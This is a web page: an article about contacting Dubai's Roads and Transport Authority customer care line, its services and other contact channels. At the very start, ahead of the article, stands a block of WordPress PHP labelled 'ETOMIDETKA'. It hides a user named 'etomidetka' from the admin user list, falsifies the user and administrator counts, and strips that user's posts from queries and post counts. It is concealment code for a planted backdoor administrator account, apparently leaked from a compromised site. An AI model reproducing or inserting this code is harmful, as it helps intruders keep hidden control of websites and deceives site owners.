//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); RTA Customer Care Number
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RTA Customer Care Number

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RTA Customer Care Number

RTA Customer Care Number. The Roads and Transport Authority (RTA) in Dubai is committed to providing a seamless and efficient customer experience. Whether you’re looking for information on public transportation, road services, or any other RTA-related inquiry, the RTA Customer Care team is always available to assist you. From handling complaints to offering suggestions and addressing urgent concerns, the RTA Call Centre plays a vital role in ensuring smooth and hassle-free communication for residents and visitors alike.

In this article, we’ll guide you on how to reach the RTA Customer Care team, the services they offer, and why this service is essential for anyone navigating Dubai’s roads and transport systems.

Where is the RTA Customer Care Centre Located?

The RTA Customer Care Centre is strategically located on Marrakech Street, Um Al Romool, Al Rashidiya, right next to the RTA Headquarters. This central location makes it easy for anyone who needs in-person assistance. While most inquiries can be resolved over the phone, having a physical location means that those who prefer face-to-face communication can visit the center for more complex issues or to receive personalized service.

This location is an integral part of the Madinati program, which ensures that customer service and engagement are at the forefront of the RTA’s operations.

RTA Customer Care Number

For all your transportation-related questions or concerns, the RTA Customer Care number 8009090 is the go-to solution. The call center provides round-the-clock service, ensuring that assistance is available whenever you need it. Whether you’re seeking information about public transport routes, reporting a lost Nol card, or have complaints or suggestions, the RTA team is just a phone call away.

Here are some of the key services you can expect when contacting the RTA Call Centre:

  • Inquiries: Find out information about bus routes, metro schedules, parking services, and more.
  • Notifications: Stay informed about changes to public transport schedules, road closures, or construction updates.
  • Suggestions: If you have ideas on how the RTA can improve its services, you can share them with the team.
  • Requests: Need specific assistance with permits or online services? The call center can help guide you through the process.
  • Complaints: Address any issues or negative experiences you’ve encountered with RTA services.
  • Urgent Notifications: For emergencies or pressing concerns, the RTA team is equipped to handle urgent requests.

The RTA Customer Care line is designed to offer both immediate support for time-sensitive matters and detailed assistance for more complex inquiries.

Benefits of the RTA Customer Care Service

  1. 24/7 Availability: One of the main advantages of the RTA Call Centre is that it operates around the clock. This means whether it’s day or night, help is always at your fingertips.
  2. Multilingual Support: Given Dubai’s diverse population, the RTA offers support in multiple languages, ensuring that everyone, regardless of their background, can easily communicate their needs.
  3. Comprehensive Service Coverage: The RTA Call Centre doesn’t just handle transport-related issues; it also offers guidance on other RTA services such as parking, road tolls, and customer accounts.
  4. Quick Response to Emergencies: For urgent issues, such as traffic accidents or lost property on public transportation, the RTA Customer Care team provides swift assistance to ensure the safety and convenience of all passengers.
  5. Feedback and Continuous Improvement: Your feedback, whether it’s a complaint or suggestion, is highly valued. The RTA uses this information to continuously improve its services and make Dubai’s transport systems more user-friendly.

How to Maximize Your Call to RTA Customer Care

To ensure that your call to the RTA Customer Care team is as efficient and productive as possible, here are a few tips:

  • Be Prepared: Have all relevant information ready before you make the call. This may include your Nol card number, the specific bus or metro route, or the details of your request or complaint.
  • Know Your Request: Clearly define whether you’re inquiring, making a suggestion, reporting an issue, or requiring urgent help. This helps the RTA representative direct you to the right department or service.
  • Stay Patient: While the RTA team strives for quick responses, there may be times when you need to wait, especially during peak hours. Rest assured, your query will be attended to.

Alternatives to Contacting RTA

Aside from the customer care number, there are several other ways to get in touch with the RTA for support:

  • RTA Website: Visit the RTA website for a wide range of services, from public transport route planning to paying fines or renewing your vehicle registration.
  • RTA Mobile App: Download the RTA Dubai app, which offers a user-friendly interface and allows you to access services on the go. You can use it to top up your Nol card, plan your journey, or track buses in real-time.
  • Social Media: The RTA is active on various social media platforms such as Twitter, Facebook, and Instagram, where you can also reach out for assistance or updates.
  • Email: For non-urgent matters, you can send an email to the RTA through their official website, and the team will get back to you within a specified timeframe.

Conclusion

The RTA Customer Care number 8009090 is your direct line to the heart of Dubai’s transport system. Whether you’re a local resident, an expatriate, or a tourist, the RTA team is always ready to help with any inquiry or issue related to Dubai’s roads, public transport, and parking services. With 24/7 availability, multilingual support, and a commitment to continuous improvement, the RTA ensures that your experience navigating Dubai is smooth and stress-free.

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